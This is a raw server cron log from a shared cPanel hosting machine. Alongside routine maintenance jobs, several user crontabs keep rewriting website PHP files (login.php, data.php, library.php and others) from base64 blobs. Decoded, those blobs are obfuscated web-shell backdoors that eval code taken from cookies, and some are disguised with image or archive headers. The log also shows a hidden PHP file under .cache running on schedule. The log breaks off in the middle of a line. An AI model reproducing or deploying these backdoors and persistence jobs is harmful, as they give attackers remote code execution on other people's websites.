Mar  1 23:53:02 medusa CROND[16385]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:53:02 medusa CROND[16386]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:53:02 medusa CROND[16387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:53:02 medusa CROND[16388]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:53:02 medusa CROND[16398]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:54:01 medusa CROND[22779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:54:01 medusa CROND[22913]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:54:01 medusa CROND[22914]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:54:01 medusa CROND[22915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:54:01 medusa CROND[22916]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:54:01 medusa CROND[22918]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:54:01 medusa CROND[22921]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:54:01 medusa CROND[22923]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:54:01 medusa CROND[22925]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:54:01 medusa CROND[22926]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:54:01 medusa CROND[22937]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:54:01 medusa CROND[22938]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:54:01 medusa CROND[22939]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:55:02 medusa CROND[30010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:55:02 medusa CROND[30015]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:55:02 medusa CROND[30266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:55:02 medusa CROND[30267]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:55:02 medusa CROND[30268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:55:02 medusa CROND[30269]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:55:02 medusa CROND[30270]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:55:02 medusa CROND[30272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:55:02 medusa CROND[30271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:55:02 medusa CROND[30275]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:55:02 medusa CROND[30277]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:55:02 medusa CROND[30288]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:55:02 medusa CROND[30292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:55:02 medusa CROND[30293]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:55:02 medusa CROND[30294]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:55:02 medusa CROND[30301]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:55:02 medusa CROND[30306]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:55:02 medusa CROND[30307]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" 